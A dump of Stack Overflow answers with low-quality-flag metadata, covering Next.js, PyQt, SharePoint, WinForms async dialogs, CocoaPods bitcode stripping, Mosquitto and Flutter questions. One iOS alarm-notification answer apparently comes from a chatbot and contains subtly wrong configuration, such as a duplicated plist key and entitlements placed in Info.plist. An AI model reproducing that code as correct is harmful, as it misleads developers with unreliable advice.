79188703

Date: 2024-11-14 12:21:29
Score: 1.5
Natty:
Report link

Since Nextjs 15 params return a promise, so try using

interface PageProps {
  params: Promise<{
    slug: string[];
  }>;
}

Nextjs doc regarding this

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Surya

79188696

Date: 2024-11-14 12:19:28
Score: 1
Natty:
Report link

Leaning on the existing answers, and assuming you want to amend numeric columns, you could do something like:

t:@[t;;0^] exec c from meta[t] where t="j"
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: mkst

79188690

Date: 2024-11-14 12:16:27
Score: 1
Natty:
Report link

Ensure your PDO::ATTR_STRINGIFY_FETCHES setting is properly applied. if this solution not work then casting the data types in your PHP code like this:

(string) $value
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Nilesh

79188686

Date: 2024-11-14 12:14:27
Score: 0.5
Natty:
Report link

It looks like I've started to figure out how to do what I need to do. Added the following lines to the "customTable" class:

        # Custom headers
    HH = customQHeaderView(parent = self, orientation=Qt.Horizontal)
    VH = customQHeaderView(parent = self, orientation=Qt.Vertical)

    self.setHorizontalHeader(HH)
    self.setVerticalHeader(VH)

And added new class "customQHeaderView":

class customQHeaderView(QHeaderView):
MimeType = 'application/x-qabstractitemmodeldatalist'

def __init__(self, orientation: Qt.Orientation, parent=None):
    super().__init__(orientation, parent)
    self.setDragEnabled(True)
    self.setAcceptDrops(True)

def dropEvent(self, event):
    mimedata = event.mimeData()
    if mimedata.hasFormat(customQHeaderView.MimeType):
        if event.source() is not self:
            source_item = QStandardItemModel()
            source_item.dropMimeData(mimedata, Qt.CopyAction, 0,0, QModelIndex())
            label = source_item.item(0, 0).text()
            print(label)
            event.setDropAction(Qt.MoveAction)
            event.accept()
        else:
            event.ignore()
    else:
        super().dropEvent(event)
Reasons:
  • Blacklisted phrase (0.5): I need
  • Long answer (-1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: z3r0cr33d

79188680

Date: 2024-11-14 12:13:27
Score: 0.5
Natty:
Report link

you need to get root folder first where you want to create folders by get_folder_by_server_relative_url and then call folders end point -

for e.g. here i want to create a folder under root folder i.e. Shared Documents

context.web.get_folder_by_server_relative_url("Shared%20Documents").folders.add(<your_folder_name>).execute_query()

context you can get it either from client ID and secret or user credentials. Please check below code to get context from user credentials

context = ClientContext('https://sites.ey.com/sites/<site_name>')
user_credentials = UserCredential(<your_username>, <your_password>)
context.with_credentials(user_credentials)

I have used package - Office365-REST-Python-Client

Reasons:
  • RegEx Blacklisted phrase (1): i want
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Vijay Dodamani

79188661

Date: 2024-11-14 12:05:23
Score: 6 🚩
Natty:
Report link

enter image description here

enter image description here

Reasons:
  • Blacklisted phrase (1): enter image description here
  • Probably link only (1):
  • Low length (2):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: An Hồ Phạm Phú

79188654

Date: 2024-11-14 12:03:22
Score: 4
Natty:
Report link

change the version you used in the implementation to earlier version - i used 6.0.3 - , if you have the same error you might uses a package that implements the version 6.1.0 -in my case it was "usb-serial-0.5.2" -, so you need to change the version in the package build gradle too, go to your project on android studio => external libraries => Flutter plugins=> the package ,and change the version from dependencies as you did with the build gradle file of your project

Reasons:
  • No code block (0.5):
  • Me too answer (2.5): have the same error
  • Low reputation (1):
Posted by: ahmed nagah

79188653

Date: 2024-11-14 12:03:22
Score: 0.5
Natty:
Report link

Implementing ShowDialogAsync() as in @noseratio's answer is fine for many scenarios.

Still, a drawback for time-consuming computational background-work is that cancellation of the dialog (i.e. form.Close()) will just close the dialog right away, before the background-work can be completed or cancelled. In my scenario, this caused non-respondance of the main application for a few seconds, as cancelling the background-work took a while.

To solve this, the dialog cancellation must be delayed/refused until the work is really done/cancelled yet (i.e. finally is reached). On the other hand, a closing attempt should notify observers about the desired cancellation, which can be realized with a CancellationToken. The token can then be used to cancel the work by ThrowIfCancellationRequested(), throwing an OperationCanceledException, which can be handled within a dedicated catch statement.

There are a few ways how this can be realized, however I preferred using(Disposable) over the roughly equivalent try/finally.

public static class AsyncFormExtensions
{
    /// <summary>
    /// Asynchronously shows the form as non-blocking dialog box
    /// </summary>
    /// <param name="form">Form</param>
    /// <returns>One of the DialogResult values</returns>
    public static async Task<DialogResult> ShowDialogAsync(this Form form)
    {
        // ensure being asynchronous (important!)
        await Task.Yield();

        if (form.IsDisposed)
        {
            return DialogResult.Cancel;
        }

        return form.ShowDialog();
    }

    /// <summary>
    /// Show a non-blocking dialog box with cancellation support while other work is done.
    /// </summary>
    /// <param name="form">Form</param>
    /// <returns>Non-blocking disposable dialog</returns>
    public static DisposableDialog DisposableDialog(this Form form)
    {
        return new DisposableDialog(form);
    }
}

/// <summary>
/// Non-blocking disposable dialog box with cancellation support
/// </summary>
public class DisposableDialog : IAsyncDisposable
{
    private Form _form;
    private FormClosingEventHandler _closingHandler;
    private CancellationTokenSource _cancellationTokenSource;

    /// <summary>
    /// Propagates notification that dialog cancelling was requested
    /// </summary>
    public CancellationToken CancellationToken => _cancellationTokenSource.Token;

    /// <summary>
    /// Awaitable result of ShowDialogAsync
    /// </summary>
    protected Task<DialogResult> ResultAsync { get; }

    /// <summary>
    /// Indicates the return value of the dialog box
    /// </summary>
    public DialogResult Result { get; set; } = DialogResult.None;

    /// <summary>
    /// Show a non-blocking dialog box with cancellation support while other work is done.
    /// 
    /// Form.ShowDialogAsync() is used to yield a non-blocking async task for the dialog.
    /// Closing the form directly with Form.Close() is prevented (by cancelling the event).
    /// Instead, a closing attempt will notify the CancellationToken about the desired cancellation.
    /// By utilizing the token to throw an OperationCanceledException, the work can be terminated.
    /// This then causes the desired (delayed) closing of the dialog through disposing.
    /// </summary>
    public DisposableDialog(Form form)
    {
        _form = form;
        _cancellationTokenSource = new CancellationTokenSource();

        _closingHandler = new FormClosingEventHandler((object sender, FormClosingEventArgs e) => {
            // prevent closing the form
            e.Cancel = true;

            // Store the desired result as the form withdraws it because of "e.Cancel=true"
            Result = form.DialogResult;

            // notify about the cancel request
            _cancellationTokenSource.Cancel();
        });

        form.FormClosing += _closingHandler;

        ResultAsync = _form.ShowDialogAsync();
    }

    /// <summary>
    /// Disposes/closes the dialog box
    /// </summary>
    /// <returns>Awaitable task</returns>
    public async ValueTask DisposeAsync()
    {
        if (Result == DialogResult.None)
        {
            // default result on sucessful completion (would become DialogResult.Cancel otherwise)
            Result = DialogResult.OK;
        }

        // Restore the dialog result as set in the closing attempt
        _form.DialogResult = Result;

        _form.FormClosing -= _closingHandler;
        _form.Close();

        await ResultAsync;
    }
}

Usage example:

private async Task<int> LoadDataAsync(CancellationToken cancellationToken)
{
    for (int i = 0; i < 10; i++)
    {
        // do some work
        await Task.Delay(500);
        // if required, this will raise OperationCanceledException to quit the dialog after each work step
        cancellationToken.ThrowIfCancellationRequested();
    }
    return 42;
}

private async void ExampleEventHandler(object sender, EventArgs e)
{
    var progressForm = new Form();

    var dialog = progressForm.DisposableDialog();
    // show the dialog asynchronously while another task is performed
    await using (dialog)
    {
        try
        {
            // do some work, the token must be used to cancel the dialog by throwing OperationCanceledException
            var data = await LoadDataAsync(dialog.CancellationToken);
        }
        catch (OperationCanceledException ex)
        {
            // Cancelled
        }
    }
}

I've created a Github Gist for the code with a full example.

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • User mentioned (1): @noseratio's
  • Low reputation (1):
Posted by: Jonas Donhauser

79188649

Date: 2024-11-14 12:02:21
Score: 1.5
Natty:
Report link

you can also use code like this in ResponsiveContainer :

<Tooltip content={<CustomTooltip />} />

you do not need to pass call function which you are being called.

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Keval Badarakhiya

79188632

Date: 2024-11-14 11:58:20
Score: 0.5
Natty:
Report link

There are actually several errors in your model and data:

Errors in the model:

  1. Cost is an indexed parameter, but you have declared as an scalar parameter param cost;, yo should rather use param cost{FOODS};.

  2. This happens with other parameters in your model.

  3. You should not name parameters and constraints in the same way, so you have "proteins" as a parameter and also as a constraint.

Errors in the data: 4. In your data section, you are re-declaring parameters. Data section is to assign values rather than declaring new entities:

param calories{FOODS};
param proteins{FOODS};
param calcium{FOODS};
param vitaminA{FOODS};
param cost{FOODS};

All the previous lines in the data section shouldn't be there

  1. The "param" keyword is missing before assigning values to the previous ones:
param calcium :=
Bread   418
Meat    41
  1. "Gelatin" or "Gelatine"? You have 2 different names for a food.
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: marcos

79188621

Date: 2024-11-14 11:55:19
Score: 4
Natty:
Report link

How do you find your path, here is simple trick:

  1. first step when your archive build is successful then the modal will show where you validate the app.
  2. here if the erros comes like Invalid Executable. The executable '***.app/FBSDKCoreKit/FBSDKCoreKit.framework/hermes' contains bitcode. (ID: 37fb02b5-0173-4c01-8d79-88a9cf6a33d8) then you have to do, how you can handle this just do copy this from your error and placed in the below solution
framework_paths = [
      "Pods/FBSDKCoreKit/XCFrameworks/FBSDKCoreKit.xcframework/ios-arm64/FBSDKCoreKit.framework/FBSDKCoreKit",
      "Pods/FBSDKShareKit/XCFrameworks/FBSDKShareKit.xcframework/ios-arm64/FBSDKShareKit.framework/FBSDKShareKit",
      "Pods/FBAEMKit/XCFrameworks/FBAEMKit.xcframework/ios-arm64/FBAEMKit.framework/FBAEMKit",
      "Pods/FBSDKCoreKit_Basics/XCFrameworks/FBSDKCoreKit_Basics.xcframework/ios-arm64/FBSDKCoreKit_Basics.framework/FBSDKCoreKit_Basics",
      "Pods/FBSDKGamingServicesKit/XCFrameworks/FBSDKGamingServicesKit.xcframework/ios-arm64/FBSDKGamingServicesKit.framework/FBSDKGamingServicesKit",
      "Pods/FBSDKLoginKit/XCFrameworks/FBSDKLoginKit.xcframework/ios-arm64/FBSDKLoginKit.framework/FBSDKLoginKit",
    ]

All the lines in framework_paths are errors that come when I try to validate or upload the build. So most people face issue here that they don't know how to find the path of this framework, So you don't need to find it using commands.You can just use this template and if in your case different frameworks causing this bitCode error then just simply replace them. In my case if I receive the error of hermes-engine then what I will do I simply copy this from xcode and replace it

  "Pods/FBSDKCoreKit/XCFrameworks/FBSDKCoreKit.xcframework/ios-arm64/FBSDKCoreKit.framework/FBSDKCoreKit",

  "Pods/hermes-engine/XCFrameworks/hermes-engine.xcframework/ios-arm64/hermes-engine.framework/hermes-engine",

here I replace FBSDKCoreKit ---> hermes-engine
FBSDKCoreKit.xcframework  ---> hermes-engine.xcframework
FBSDKCoreKit.framework  ---> hermes-engine.framework
FBSDKCoreKit  ---> hermes-engine

In this way you can solve this error. So finally what you have to write in pod file

replace this code portion

react_native_post_install(
   installer,
   # Set `mac_catalyst_enabled` to `true` in order to apply patches
   # necessary for Mac Catalyst builds
   :mac_catalyst_enabled => false
 )
 __apply_Xcode_12_5_M1_post_install_workaround(installer)

with--------------------->

bitcode_strip_path = `xcrun --find bitcode_strip`.chop!
    def strip_bitcode_from_framework(bitcode_strip_path, framework_relative_path)
      framework_path = File.join(Dir.pwd, framework_relative_path)
      command = "#{bitcode_strip_path} #{framework_path} -r -o #{framework_path}"
      puts "Stripping bitcode: #{command}"
      system(command)
    end

    framework_paths = [
      "Pods/FBSDKCoreKit/XCFrameworks/FBSDKCoreKit.xcframework/ios-arm64/FBSDKCoreKit.framework/FBSDKCoreKit",
      "Pods/FBSDKShareKit/XCFrameworks/FBSDKShareKit.xcframework/ios-arm64/FBSDKShareKit.framework/FBSDKShareKit",
      "Pods/FBAEMKit/XCFrameworks/FBAEMKit.xcframework/ios-arm64/FBAEMKit.framework/FBAEMKit",
      "Pods/FBSDKCoreKit_Basics/XCFrameworks/FBSDKCoreKit_Basics.xcframework/ios-arm64/FBSDKCoreKit_Basics.framework/FBSDKCoreKit_Basics",
      "Pods/FBSDKGamingServicesKit/XCFrameworks/FBSDKGamingServicesKit.xcframework/ios-arm64/FBSDKGamingServicesKit.framework/FBSDKGamingServicesKit",
      "Pods/FBSDKLoginKit/XCFrameworks/FBSDKLoginKit.xcframework/ios-arm64/FBSDKLoginKit.framework/FBSDKLoginKit",
    ]

    framework_paths.each do |framework_relative_path|
      strip_bitcode_from_framework(bitcode_strip_path, framework_relative_path)
    end
    

Thats it

Reasons:
  • Blacklisted phrase (1): How do you
  • Whitelisted phrase (-1): in your case
  • RegEx Blacklisted phrase (1): I receive the error
  • RegEx Blacklisted phrase (2.5): do you find your
  • Long answer (-1):
  • Has code block (-0.5):
  • Starts with a question (0.5): How do you find you
  • Filler text (0.5): ---------------------
  • Low reputation (1):
Posted by: ali raza

79188615

Date: 2024-11-14 11:53:18
Score: 2
Natty:
Report link

Have you tried To integrate Kafka with Cassandra, the inegration can leverage the power of Kafka Streams and the DataStax Java Driver for Cassandra? This combination allows to efficiently stream data from Kafka and store it in Cassandra.

Reasons:
  • Whitelisted phrase (-1): Have you tried
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Gurunandan Rao

79188614

Date: 2024-11-14 11:53:18
Score: 1
Natty:
Report link

Up to Get-PSSession | Disconnect-PSSession command is ferfectly working. But Remove-PSSession is again making delay. WARNING: The network connection to computer.domain has been interrupted. Attempting to reconnect for up to 4 minutes... WARNING: Attempting to reconnect to computer.domain . WARNING: The reconnection attempt to computer.domain failed. Attempting to disconnect the session. WARNING: Computer computer.domain has been successfully disconnected.

Reasons:
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Manas Dash

79188613

Date: 2024-11-14 11:53:18
Score: 2
Natty:
Report link

You can use AppShortcutsProvider to add your intent as appShortcuts

Reasons:
  • Whitelisted phrase (-1.5): You can use
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: user28297757

79188610

Date: 2024-11-14 11:52:17
Score: 0.5
Natty:
Report link

V. old question, but for anyone else with similar issues:

I've had incredible difficulties with the same problem, I found this article:

https://cedalo.com/blog/enabling-websockets-over-mqtt-with-mosquitto/

The key here which I'd completely ignored until now and which it looks like you may have mis-typed is that the port is 8080 (you have 8008?). Here's my full mosquitto.conf file contents:

listener 1883 0.0.0.0
listener 8080
allow_anonymous true
protocol websockets

I probably need to add 0.0.0.0 to the second line for consistency - or remove it from line 1, but it works and, frankly, after days of hitting a brick wall, I can now connect using the ws:// protocol.

Reasons:
  • Blacklisted phrase (1): this article
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Contains question mark (0.5):
Posted by: Todd

79188604

Date: 2024-11-14 11:51:17
Score: 4.5
Natty:
Report link

Resolved in a strange way. I've been experimenting a bit and when I changed the statement

var obj = {TYPE: item.getTitle(), DATE: item.getAllDayStartDate()}

to this:

var obj = {TYPE: item.getTitle(), DATE: (item.getStartTime() + (3 * HOUR))}

I didn't get the (wrong) start time + 3 hours, which would put the event at the correct date. Instead I now get the correct date and time, including the deviation from UTC time as 'GMT+0100'. This is what I originally wanted. Maybe adding an amount of time to the result of item.getStartTime() implicitly converts the result to local time???

Reasons:
  • Blacklisted phrase (1): ???
  • Long answer (-0.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Gilbert

79188603

Date: 2024-11-14 11:50:17
Score: 2
Natty:
Report link

Try this instead: You check the name of the input in the form, and you check if the 'datasheet' directory exists.

Reasons:
  • Whitelisted phrase (-1): Try this
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Gaby mastrobono

79188588

Date: 2024-11-14 11:44:15
Score: 4
Natty: 5
Report link

Thanks for Bryan Latten. It's work for me

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: manfred hu

79188587

Date: 2024-11-14 11:44:15
Score: 4
Natty:
Report link

You can get the file/ item versions using the endpoint described at https://aps.autodesk.com/en/docs/data/v2/reference/http/projects-project_id-versions-POST/

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Moturi George

79188583

Date: 2024-11-14 11:43:14
Score: 1
Natty:
Report link

This solution worked for me: https://github.com/grafana/helm-charts/issues/1550. I uncommented the endpoint in the values.yml file or simply removed it.

Make sure you have specified the correct ARN and annotations in the values.yml file and have permissions to access the bucket.

Reasons:
  • Whitelisted phrase (-1): worked for me
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Saksham Paliwal

79188572

Date: 2024-11-14 11:39:13
Score: 1
Natty:
Report link

what @simeon posted above is what I use regularly to compare data between two tables.

Regarding your question on why it is not displaying the results, it could be because its just running the CTEs , we would need to execute the sqls to display the results,for which you can use EXECUTE IMMEDIATE like shown here

Reasons:
  • Whitelisted phrase (-1.5): you can use
  • Low length (0.5):
  • Has code block (-0.5):
  • User mentioned (1): @simeon
  • Starts with a question (0.5): what
  • Low reputation (1):
Posted by: samhita

79188571

Date: 2024-11-14 11:39:13
Score: 4
Natty:
Report link

You may need to specific the source url. Please refer to this https://github.com/CocoaPods/CocoaPods/issues/12679

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: EricNguyen

79188568

Date: 2024-11-14 11:39:13
Score: 1
Natty:
Report link

I tried this from the wiki of the library.

https://github.com/revtel/react-native-nfc-manager/wiki/Expo-Go

But it didn't work, I didn't know what else to do, so I rewrote the project in bare react native.

At least it was 2 days of work for me.

If you want to create a project in expo with NFC, try first to see if the NFC works and then build the app, don't make the same mistake as me.

Reasons:
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Ioannis Apostolou

79188567

Date: 2024-11-14 11:39:13
Score: 1.5
Natty:
Report link

To bypass the Superset login you can extend the AuthOAuthView.login method to check if provider is None, and if there’s only one OAuth provider, assign it directly. Then you can define a custom security manager that uses this modified AuthOAuthView.

You can see the code for how to do it in this Github comment

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: coda

79188557

Date: 2024-11-14 11:36:12
Score: 1
Natty:
Report link

In my case,

onNavigationStateChange works only on iOS,

onLoadProgress works only on Android.

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Fakfa Chuchit

79188555

Date: 2024-11-14 11:35:12
Score: 3.5
Natty:
Report link

The issue was not related to an incorrect class path or similar issues. I still don't know what the exact issue was or why the solution worked but I just refreshed the browser tab of the jupyter notebook root directory, that fixed my issue. Restarting the kernel multiple times did not work.

Reasons:
  • Blacklisted phrase (1): did not work
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Siri

79188542

Date: 2024-11-14 11:31:11
Score: 1.5
Natty:
Report link

That is a bit strange but problem was with Coupon and UnderlyingUsage classes. They were also extending other classes and I had to add annotations to them as well. Once annotations for whole hierarchy for Coupon and UnderlyingUsage were added then error disappeard.

So if someone will face the same issue please look into all classes related to the one which you change.

Reasons:
  • Has code block (-0.5):
  • Me too answer (2.5): face the same issue
  • Self-answer (0.5):
  • High reputation (-1):
Posted by: Michu93

79188534

Date: 2024-11-14 11:26:10
Score: 2.5
Natty:
Report link

It is because the alignItems: 'center' style on .container. Fix it by removing the style.

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: michaelmichael

79188528

Date: 2024-11-14 11:25:10
Score: 1.5
Natty:
Report link

Solution

1. Configure UNNotificationSound in AppDelegate.swift

import UIKit
import Flutter
import UserNotifications
import AVFoundation

@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
    override func application(
        _ application: UIApplication,
        didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
    ) -> Bool {
        // Configure notification settings
        if #available(iOS 10.0, *) {
            UNUserNotificationCenter.current().delegate = self
            
            let options: UNAuthorizationOptions = [
                .alert,
                .badge,
                .sound,
                .criticalAlert  // Add critical alert permission
            ]
            
            UNUserNotificationCenter.current().requestAuthorization(
                options: options,
                completionHandler: { _, _ in }
            )
        }
        
        // Configure audio session
        do {
            try AVAudioSession.sharedInstance().setCategory(
                .playback,
                mode: .default,
                options: [.mixWithOthers]
            )
            try AVAudioSession.sharedInstance().setActive(true)
        } catch {
            print("Failed to set audio session category: \(error)")
        }
        
        GeneratedPluginRegistrant.register(with: self)
        return super.application(application, didFinishLaunchingWithOptions: launchOptions)
    }
}

// Add UNNotificationSoundName extension
extension UNNotificationSoundName {
    static let customSound = UNNotificationSoundName("notification_sound.wav")
}

2. Update Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <!-- Other existing entries -->
    
    <!-- Add background modes -->
    <key>UIBackgroundModes</key>
    <array>
        <string>audio</string>
        <string>fetch</string>
        <string>remote-notification</string>
    </array>
    
    <!-- Add critical alerts entitlement -->
    <key>com.apple.developer.usernotifications.critical-alerts</key>
    <true/>
    
    <!-- Add notification service extension -->
    <key>com.apple.developer.usernotifications.time-sensitive</key>
    <true/>
    
    <!-- Configure audio session -->
    <key>UIBackgroundModes</key>
    <array>
        <string>audio</string>
    </array>
</dict>
</plist>

3. Update Flutter Notification Configuration

import 'package:awesome_notifications/awesome_notifications.dart';

Future<void> initializeNotifications() async {
  await AwesomeNotifications().initialize(
    null,
    [
      NotificationChannel(
        channelKey: "alarm_Category",
        channelName: "Alarm Category",
        channelDescription: 'Long duration alarm notifications',
        defaultColor: Colors.blue,
        ledColor: Colors.white,
        playSound: true,
        soundSource: 'resource://raw/notification_sound',
        importance: NotificationImportance.Max,
        criticalAlerts: true,
        enableVibration: true,
        enableLights: true,
        locked: true,
        // Add these settings for iOS
        defaultRingtoneType: DefaultRingtoneType.Alarm,
        channelShowBadge: true,
      ),
    ],
    debug: true,
  );
}

Future<void> scheduleAlarmNotification({
  required int subId,
  required DateTime scheduledTime,
  required String memoText,
}) async {
  await AwesomeNotifications().createNotification(
    content: NotificationContent(
      id: subId,
      channelKey: "alarm_Category",
      title: DateFormat('yyyy.MM.dd HH:mm').format(scheduledTime),
      body: 'Alarm Memo: $memoText',
      category: NotificationCategory.Alarm,
      notificationLayout: NotificationLayout.Default,
      criticalAlert: true,
      fullScreenIntent: true,
      wakeUpScreen: true,
      autoDismissible: false,
      locked: true,
      displayOnForeground: true,
      displayOnBackground: true,
      customSound: 'resource://raw/notification_sound',
      // Add iOS specific settings
      timeoutAfter: Duration(seconds: 30), // Extend timeout
      payload: {
        'sound_duration': '29',  // Add sound duration info
        'critical': 'true',      // Mark as critical
      },
    ),
    schedule: NotificationCalendar(
      repeats: true,
      preciseAlarm: true,
      allowWhileIdle: true,
      year: scheduledTime.year,
      month: scheduledTime.month,
      day: scheduledTime.day,
      hour: scheduledTime.hour,
      minute: scheduledTime.minute,
      second: scheduledTime.second,
    ),
  );
}

4. Add Audio Processing Extension

Create a new Notification Service Extension target in Xcode:

// NotificationService.swift
import UserNotifications
import AVFoundation

class NotificationService: UNNotificationServiceExtension {
    var contentHandler: ((UNNotificationContent) -> Void)?
    var bestAttemptContent: UNMutableNotificationContent?
    var audioPlayer: AVAudioPlayer?
    
    override func didReceive(
        _ request: UNNotificationRequest,
        withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void
    ) {
        self.contentHandler = contentHandler
        bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent)
        
        if let bestAttemptContent = bestAttemptContent {
            // Configure sound
            if let soundDuration = request.content.userInfo["sound_duration"] as? String,
               let soundPath = Bundle.main.path(forResource: "notification_sound", ofType: "wav") {
                let soundUrl = URL(fileURLWithPath: soundPath)
                bestAttemptContent.sound = UNNotificationSound(named: UNNotificationSoundName(rawValue: "notification_sound.wav"))
                
                // Setup audio session
                do {
                    try AVAudioSession.sharedInstance().setCategory(.playback, mode: .default)
                    try AVAudioSession.sharedInstance().setActive(true)
                    
                    audioPlayer = try AVAudioPlayer(contentsOf: soundUrl)
                    audioPlayer?.prepareToPlay()
                    audioPlayer?.play()
                } catch {
                    print("Error setting up audio: \(error)")
                }
            }
            
            contentHandler(bestAttemptContent)
        }
    }
    
    override func serviceExtensionTimeWillExpire() {
        if let contentHandler = contentHandler,
           let bestAttemptContent = bestAttemptContent {
            contentHandler(bestAttemptContent)
        }
    }
}

5. Sound File Requirements

  1. Convert your sound file to WAV format:
ffmpeg -i input.mp3 -acodec pcm_s16le -ac 2 -ar 44100 notification_sound.wav
  1. Add the sound file to both:

6. Entitlements Configuration

  1. Add entitlements file to your project
  2. Enable these capabilities:
    • Background Modes
    • Critical Alerts
    • Push Notifications
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.developer.usernotifications.critical-alerts</key>
    <true/>
    <key>aps-environment</key>
    <string>development</string>
</dict>
</plist>

Best Practices

  1. Sound File Optimization
// Check sound file properties
void validateSoundFile() {
  final file = File('notification_sound.wav');
  if (file.lengthSync() > 5 * 1024 * 1024) {
    print('Warning: Sound file too large');
  }
}
  1. Error Handling
Future<bool> checkNotificationPermissions() async {
  final status = await AwesomeNotifications().isNotificationAllowed();
  if (!status) {
    // Request permissions
    return await AwesomeNotifications().requestPermissionToSendNotifications();
  }
  return status;
}
  1. Testing
void testNotification() async {
  final now = DateTime.now();
  await scheduleAlarmNotification(
    subId: 1,
    scheduledTime: now.add(Duration(seconds: 5)),
    memoText: 'Test notification',
  );
}

Remember to:

Would you like me to explain any part in more detail?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (1):
Posted by: Darshan Parmar

79188512

Date: 2024-11-14 11:21:09
Score: 2
Natty:
Report link

To fix this, you have to set a type for an id column:

    #[ORM\Id]
    #[ORM\GeneratedValue(strategy: "AUTO")]
    #[ORM\Column(type: 'integer')]
    protected $id = null;

Create new migration, execute and after execution you should notice a new sequence in postgresql database sequences.

Cheers.

Reasons:
  • Blacklisted phrase (1): Cheers
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Szymon D.

79188504

Date: 2024-11-14 11:19:08
Score: 2
Natty:
Report link

so it can only support the old version of expo from 51 Sdk to lower since meta start moving around with their Ts typescript which make all new dependances made tested on typeScript level not javescript you chance of having the issue resolve is by using old version of the expo modules before the creation of typeScript

which was tested on javaScript that is why it throw the erro of the module referring to the expo

Reasons:
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: user28297249

79188502

Date: 2024-11-14 11:18:08
Score: 1
Natty:
Report link

just to note that I managed to do this following a suggestion (thank you!) to use textsplit():

=AND(ISNUMBER(VALUE(FIND(MID(TEXTSPLIT(A1,",",,TRUE),1,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ",1))),ISNUMBER(VALUE(FIND(MID(TEXTSPLIT(A1,",",,TRUE),2,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ",1))),ISNUMBER(VALUE(MID(TEXTSPLIT(A1,",",,TRUE),3,8))),LEN(TEXTSPLIT(A1,",",,TRUE))=10)

Posting this in case it's useful to anyone else. If the "ABCDEFGHIJKLMNOPQRSTUVWXYZ" makes this formula too long for custom data validation (255 character limit) put that in a cell and refer to it in the formula. Note this doesn't enforce uniqueness, that's been a step too far for me thus far!

Reasons:
  • Blacklisted phrase (0.5): thank you
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: new GISer

79188494

Date: 2024-11-14 11:16:07
Score: 0.5
Natty:
Report link

Just wrap you column with Center for cross axis alignment center to work.

 Center(
  child: Column(
    crossAxisAlignment: CrossAxisAlignment.center,
    children: [
      TextField(
        controller: _emailController,
        decoration: const InputDecoration(
          labelText: 'Email',
        ),
      ),
      TextField(
        controller: _passwordController,
        decoration: const InputDecoration(
          labelText: 'Password',
        ),
        obscureText: true,
      ),
    ],
  ),
);

Similarly, wrap row with Center for mainAxisAlignment: MainAxisAlignment.center to work:

Center(
  child: Row(
    mainAxisAlignment: MainAxisAlignment.center,
    children: [
      
    ],
  ),
)

screenshot:Login screen with centered text fields

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Rehan

79188487

Date: 2024-11-14 11:14:07
Score: 2.5
Natty:
Report link

I use a custom function that wraps the text with a desired RGB(R=red, G=green, B=blue) color value in ANSI escape sequences. Here's what it looks like:

from random import randint

RANDOM_RGB_COLOR = {
"r": randint(0, 255),
"g": randint(0, 255),
"b": randint(0, 255)
}

def color(text: str, r: int = 256, g: int = 256, b: int = 256) ->  str:
    if (r > 255 or g > 255 or g > 255) or (r < 0 or g < 0 or b < 0):
    return f"\033[38;2;{RANDOM_RGB_COLOR['r']};{RANDOM_RGB_COLOR['g']};{RANDOM_RGB_COLOR['b']}m{text}\033[38;2;255;255;255m"
return f"\033[38;2;{r};{g};{b}m{text}\033[38;2;255;255;255m"

Here are some similar solutions: How do I print colored text to the terminal?

Reasons:
  • Blacklisted phrase (1): How do I
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (0.5):
Posted by: Staccato

79188484

Date: 2024-11-14 11:13:06
Score: 2.5
Natty:
Report link

